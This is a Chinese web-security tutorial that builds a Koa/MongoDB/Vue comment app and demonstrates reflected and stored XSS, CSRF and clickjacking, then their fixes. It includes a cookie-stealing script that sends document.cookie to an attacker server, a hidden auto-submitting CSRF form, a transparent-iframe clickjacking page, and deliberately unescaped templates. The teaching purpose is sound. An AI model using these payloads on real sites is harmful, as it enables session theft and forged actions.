《琢·磨》系列技术分享:16 常见Web安全攻防演练

本篇文章是《琢·磨》系列技术分享第16讲,分享常见Web安全攻防演练,包括XSS、CSRF、点击劫持,会从攻击和如何防守两个方向分别进行分享; 本篇文章使用的是koa + MongoDB + Vue实现的demo逻辑。javascript

XSS

1)XSS的定义

XSS (Cross-Site Scripting),跨站脚本攻击,由于缩写和 CSS重叠,因此只能叫 XSS。 跨站脚本攻击是指经过存在安全漏洞的Web网站,让已注册用户在站点内运行非法的非本站点的HTML标签或JavaScript,进行的一种攻击。 简单的来讲,就是在站内运行非本站的javascript脚本,所受到的攻击。css

2)XSS的分类

常见的XSS攻击分类有两种:html

一、反射型:经过url参数直接注入前端

二、存储型:存储到数据库,用户读取时注入vue

3)总体演示代码结构

在看代码以前,咱们先来看一下demo提供的功能:java

share.gif

下面咱们看一下,本次分享所使用到的demo: 首先是常规程序的主入口,index.jsios

const Koa = require('koa');

// koa-router来处理路由
const router = require('koa-router')();
const session = require('koa-session');

// 用来解析post请求的数据,会挂在ctx.request.body中
const bodyParser = require('koa-bodyparser');

// 用来作静态服务的处理 
const static = require('koa-static');

// 用来处理渲染前端模板,会在ctx中挂在render方法
const views = require('koa-views');

// 数据库链接文件
require('./utils/mongoose');

// 两个表的模型声明
const UserModel = require('./models/user');
const CommentModel = require('./models/Comment');

const {
  checkPassword
} = require('./utils/checkLogin');

const app = new Koa();

app.keys = ['some secret'];

// 如下作了上面引入的中间件的初始化
app.use(static(__dirname + '/'));
app.use(bodyParser());
app.use(session({
  key: 'koa.sess',
  maxAge: 86400000,
  httpOnly: false,
  signed: false,
}, app));

app.use(views(__dirname + '/views', {
  map: {
    html: 'handlebars',
  }
}));


// 登陆接口
router.post('/login', async (ctx) => {
  const {
    body: {
      username,
      password,
    }
  } = ctx.request;

  // 检验帐号密码
  if (!(await checkPassword({
    username,
    password,
  }))) {
    ctx.body = {
      message: '帐号或者密码不对'
    };
    return;
  }

  ctx.session.userinfo = {
    username,
    password
  };
  ctx.body = {
    message: '登陆成功'
  };
})

// 注册接口
router.post('/register', async (ctx, next) => {
  const {
    body: {
      username,
      password,
    }
  } = ctx.request;

  await UserModel.create({
    username,
    password
  });
  ctx.body = {
    message: '注册成功',
  };
})

// 渲染评论页面
router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
  });
});

// 评论接口
router.post('/api/comment', async (ctx, next) => {
  const {
    body: {
      comment,
    }
  } = ctx.request;

  await CommentModel.createComment({
    username: ctx.session.userinfo.username,
    comment,
  });
  ctx.body = {
    message: '评论成功',
  };
})

// 渲染登陆页面
router.get('/', async (ctx) => {
  await ctx.render('index');
});

// 简单处理一下评论须要登陆的逻辑
app.use(async (ctx, next) => {
  if (ctx.url.indexOf('comment') > -1) {
    if (!ctx.session.userinfo) {
      ctx.redirect('/');
    } else {
      await next();
    }
  } else {
    await next();
  }
});

app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);
复制代码

接下来看一下model里的逻辑,显示user.jsmongodb

// 这里使用了mongoose库作MongoDB的操做
const mongoose = require('mongoose');
// 这里定义了表的数据模型
const schema = mongoose.Schema({
  username: String,
  password: String,
});

// 这里挂了两个方法,获取用户和设置用户
schema.statics.getUser = function(username) {
  return this.model('user')
    .findOne({ username })
    .exec();
};

schema.statics.createUser = function({ username, password }) {
  return this.model('user')
    .create({
      username,
      password,
    });
};

// 这里对表与模型作了关联
const model = mongoose.model('user', schema);

module.exports = model;
复制代码

下面是comment.js,基本同上:数据库

const mongoose = require('mongoose');
const schema = mongoose.Schema({
  username: String,
  comment: String,
});

schema.statics.getCommentList = function(username) {
  return this.model('comment')
    .find({})
    .exec();
};

schema.statics.createComment = function({ username, comment }) {
  return this.model('comment')
    .create({
      username,
      comment,
    });
};

const model = mongoose.model('comment', schema);

module.exports = model;
复制代码

而后是utils里提供的工具函数, 主要是判断帐号密码是否一致和链接数据库:axios

// checkLogin.js
const UserModel = require('../models/user');

exports.checkPassword =  async function ({ username, password }) {
  const res = await UserModel.getUser(username);
  if (res && res.password === password) {
    return true;
  }
  return false
}
复制代码
// mongoose.js
const mongoose = require('mongoose');

mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {
  useNewUrlParser: true,
  useUnifiedTopology: true,
}).catch(error => {
  console.log('数据库error', error)
});;
const conn = mongoose.connection;

conn.on('error', () => console.log('数据库链接失败'));
conn.once('open', () => console.log('数据库链接成功'));
复制代码

以后是views中提供的两个页面:

<!-- index.html 登陆注册页面 -->
<!DOCTYPE html>
<html lang="zh-cn">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="./views/axios.min.js"></script>
  <script src="./views/vue.js"></script>
</head>

<body>
  <div id="app">
    <div>
      <input v-model="username">
      <input v-model="password">
    </div>
    <div>
      <button v-on:click="login">登录</button>
      <button v-on:click="register">注册</button>
    </div>
  </div>
  </div>
  <script> var app = new Vue({ el: '#app', data: { username: '', password: '' }, methods: { async login() { await axios.post('/login', { username: this.username, password: this.password }) location.href = '/comment?address=北京' }, async register() { await axios.post('/register', { username: this.username, password: this.password }) } } }); </script>
</body>

</html>
复制代码
<!-- comment.html 评论页面 {{{}}} 三个中括号为handlebars模板引擎的语法,会将render渲染页面的第二个参数中的数据注入到页面中 -->
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="./views/axios.min.js"></script>
  <script src="./views/vue.js"></script>
</head>

<body>
  <div id="app">
    <div>欢迎来自<span style="color: red">{{{address}}}</span>的用户,欢迎评论</div>
    <input type="text" v-model="value">
    <button v-on:click="comment">评论</button>
    <div>评论列表</div>
    <!-- handlebars中的循环语法 -->
    {{#each commentList}}
      <div>{{{comment}}}</div>
    {{/each}}
  </div>
  <script> var app = new Vue({ el: '#app', data: { value: '默认值', }, methods: { async comment() { await axios.post('/api/comment', { comment: this.value, }); location.href = '/comment?address=北京'; } } }); </script>
</body>
</html>
复制代码

以上是常规应用程序的代码,接下来咱们看一下攻击程序的代码,hack,先只看一下index.js中的逻辑,其余的等演示攻击的时候再展现:

const Koa = require('koa');
const static = require('koa-static');
const chalk = require('chalk');

// 将打印的log变为红色
const log = contents => {
  console.log(chalk.red(contents));
};

const app = new Koa();

app.use(static(__dirname + '/'));

// 主要的逻辑就是这个中间件,这里打印了一下请求里携带的cookie
app.use(async (ctx, next) => {
  log('cookie: ' + ctx.request.query.cookie);
  await next();
});

app.listen(4000);
复制代码

4)XSS反射型攻击

看完上面的效果演示及代码,咱们先来看一下XSS反射性攻击的作法。

share1.gif

咱们能够看到,在url的address中咱们输入一个字符串,那么这个地点就会渲染到页面中。那么这种地方就可能会有被攻击的风险。那若是咱们输入的是javascript脚本,它会不会执行呢?

share2.gif

能够看到<script>标签中的alert成功执行了;那么若是我把hack中的攻击脚本注入到url中呢? 咱们先来看一下hack中的script.js这个攻击脚本作了什么操做:

// 这里的逻辑很简单,就是咱们经常使用的发送埋点的一种方式,可是他携带了咱们页面中的cookie
const img = document.createElement('img');
img.src = `http://localhost:4000?cookie=${document.cookie}`;
复制代码

咱们再来看一下注入这个攻击脚本会发成什么:

share3.gif

咱们会看到咱们本站cookie,被hack网站拿到了,那这时候hack就能够拿着咱们的cookie模拟咱们的登陆态进行登陆:

share4.gif

反射性XSS攻击,须要用户点击相应的攻击连接才能进行攻击,效率上相对仍是偏低,那么咱们能够不可考虑将脚本注入到页面中,让全部访问该页面的用户都能运行咱们的攻击脚本呢?那么就有了存储型,存储到数据库,用户读取时注入脚本。

5)XSS存储型攻击

接下来咱们将脚本经过评论注入到数据库中:

share5.gif

咱们能够看到在被注入数据库后,全部访问该页面的用户都会受到攻击。

6)XSS的危害

XSS就是运行javascript脚本,那么一切javascript能作的事情它均可以作,例如:

一、窃取 Cookie 信息,模拟用户进行登陆,而后进行转帐等操做

二、使用 addEventListener 监听用户行为,监听键盘事件,窃取用户的银行卡密码等。并发送到攻击者的服务器

三、经过修改 DOM 伪造假的登陆窗口,欺骗用户输入用户名和密码等生成浮窗广告等

四、修改 URL 跳转到恶意网站

7)XSS防范手段

一、对输入内容进行转义

二、 CSP( Content Security Policy) 创建白名单

三、 httpOnly cookies

对输入内容进行转义

1.使用模板引擎提供的转义语法,对用户所输入的内容进行转义,这里咱们用handlebars提供的{{}}双括号替代括号

// app/comment.html
  <div id="app">
    <div>欢迎来自<span style="color: red">{{address}}</span>的用户,欢迎评论</div>
    <input type="text" v-model="value">
    <button v-on:click="comment">评论</button>
    <div>评论列表</div>
    <!-- handlebars中的循环语法 -->
    {{#each commentList}}
      <div>{{comment}}</div>
    {{/each}}
  </div>
复制代码

能够看到script脚本被转成了字符串。

share6.gif

2.使用xss库对输入内容进行转义,这个的好处是,有一些白名单里的标签不会被转义,好比咱们演示中的H1标签:

// app/index.js
const xss = require('xss');

...

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    // 这里咱们用xss处理一下咱们输出的内容
    commentList: JSON.parse(xss(JSON.stringify(commentList))),
  });
});

复制代码

share7.gif

能够看到script脚本被转义了,而H1标签没有。

CSP( Content Security Policy) 创建白名单

先来简单介绍一下CSP CSP是内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,本质上就是创建白名单,开发者明确告诉浏览器哪些外部资源能够加载和执行。咱们只须要配置规则,如何拦截是由浏览器本身实现的。咱们能够经过这种方式来尽可能减小XSS攻击。

那么接下来咱们用CSP防护一下XSS攻击:

// app/index.js
// 这里咱们新写一个中间件
app.use(async (ctx, next) => {
  // 这里咱们只容许加载3000端口下的script脚本
  ctx.set('Content-Security-Policy', "script-src http://localhost:3000");
  await next();
});
复制代码

share8.gif

咱们能够看到前端页面这个时候4000的攻击脚本就没有加载进来,并在控制台有提示咱们配置的csp规则。

httpOnly cookies

httpOnly,这是预防XSS攻击窃取用户cookie最有效的防护手段。Web应用程序在设置cookie时,将其 属性设为HttpOnly,就能够避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

// app/index.js
app.use(session({
  key: 'koa.sess',
  maxAge: 86400000,
  // 这里咱们设置httpOnly为true,只容许cookie在http请求中使用
  httpOnly: true,
  signed: false,
}, app));
复制代码

share9.gif

咱们能够再次访问时,hack网站就拿不到咱们的cookie信息了。

以上就是XSS攻击的攻击和防护手段了,接下来咱们看一下CSRF的攻防手段。

CSRF

1)CSRF的定义

CSRF (cross site request forgery) 跨站请求伪造,它利用用户已登陆的身份,在用户不知情的状况下,以用户的名义完,成非法操做。

2)CSRF演示

咱们先来看一下hack中的csrf攻击页面逻辑:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <h1>看小猫咪的网站,实际是CSRF攻击</h1>
  <img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" alt="">
  <script> // 咱们插入了一个form表单,在4000的hack网站请求了3000的接口,而且作了数据提交 document.write(` <form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none"> 添加评论: <input type="text" name="comment" value="CSRF攻击" /> </form> `) var iframe = document.createElement('iframe'); iframe.name = 'csrf'; iframe.style.display = 'none'; document.body.appendChild(iframe); setTimeout(function() { document.querySelector('form').submit(); },1000); </script>
</body>
</html>
复制代码

下面咱们看一下演示

share10.gif

咱们在演示中能够看到,咱们在hack的网站中进行了访问,虽然咱们没有去访问3000的站点,但仍然被hack网站冒用了信息,被盗用进行了评论,这就是csrf的攻击手段。它利用用户已登陆的身份,在用户不知情的状况下,以用户的名义完,成非法操做。

3)CSRF的特色

一、攻击通常发起在第三方网站,而不是被攻击的网站。被攻击的网站没法防止攻击发生。

二、攻击利用受害者在被攻击网站的登陆凭证,冒充受害者提交操做;而不是直接窃取数据。 整个过程攻击者并不能获取到受害者的登陆凭证,仅仅是“冒用”。

三、跨站请求能够用各类方式:图片URL、超连接、CORS、Form提交等等。部分请求方式能够直接嵌入在第三方论坛、文章中,难以进行追踪。

4)CSRF的防范手段

一、验证referer

二、携带token

三、使用验证码

验证referer

咱们在app/index.js加一个中间件

app.use(async (ctx, next) => {
  // 这里咱们将referer进行输出
  console.log('referer: ', ctx.request.header.referer);
  await next();
});
复制代码

share11.gif

能够看到咱们能拿到当前的访问站点是哪一个,而后就能够设置白名单进行过滤。

携带token

这里的token就是一段随机的字符串,在用户访问时咱们在页面中随机返回一段字符串,在用户请求的时候,须要携带csrf_token进行验证。那么hack网站在模拟攻击时,是没法获取咱们页面中注入的csrf_token的,因此请求会验证失败。

// 咱们引用koa-csrf库,它会在ctx下挂载csrf字段
const CSRF = require('koa-csrf');

...

app.use(new CSRF({
  invalidTokenMessage: 'Invalid CSRF token',
  invalidTokenStatusCode: 403,
  excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],
  disableQuery: false
}));

...

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
    csrfToken: ctx.csrf,
  });
});
复制代码

咱们将生成的csrf_token挂到页面中:

// views/comment.html
async comment() {
  await axios.post('/api/comment', {
    comment: this.value,
    _csrf: '{{csrfToken}}',
  });
  location.href = '/comment?address=北京';
}
复制代码

share12.gif

能够看到hack网站在发送请求的时候,验证未经过。

使用验证码

csrf就是在用户不知情的状况下,冒用身份作非法操做。那么咱们最直接的杜绝方法,就是产生人机交互,让用户知道当前我要作什么操做,要干什么,从而防范csrf的攻击。那么常见的人机交互方式就是验证码的形式了。

以上就是csrf的攻击防护手段,接下来咱们分享一下点击劫持。

点击劫持

1)点击劫持的定义

点击劫持是一种视觉欺骗的攻击手段。攻击者将须要攻击的网站经过iframe 嵌套的方式嵌入本身的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击,触发了不是用户真正意愿的事件。

2)点击劫持演示

咱们仍是先来看一下hack的点击劫持攻击代码:

// hack/click.html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style> iframe { width: 800px; height: 300px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 32px; left: 164px; z-index: 1; } img { height: 300px; } </style>
</head>

<body>
  <button>查看更多</button>
  <img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg">
  <iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
</body>

</html>
复制代码

这个攻击代码也很简单,咱们就是讲iframe嵌套的网站设置成透明,放在最上层,而后用一个按钮覆盖页面中的操做,在用户点击查看更多图片的时候,其实是进行了评论操做;

share13.gif

3)点击劫持的防范

X-FRAME-OPTIONS

一、DENY: 表示页面不容许经过 iframe 的方式展现

二、SAMEORIGIN: 表示页面能够在相同域名下经过 iframe 的方式展现

三、ALLOW-FROM: 表示页面能够在指定来源的 iframe 中展现

X-FRAME-OPTIONS是一个HTTP响应头。这个HTTP响应头就是为了防护用iframe嵌套的点击劫持攻击。 咱们来看一下代码:

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  
  //这里咱们设置了请求头,不容许任何页面将该页面进行iframe嵌套
  ctx.set('X-FRAME-OPTIONS', 'DENY');
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
  });
});
复制代码

share14.gif

能够看到,这个时候页面就没有被iframe加载进来了。

以上就是本期的所有分享了,但愿能够对你们有所帮助!

相关文章
相关标签/搜索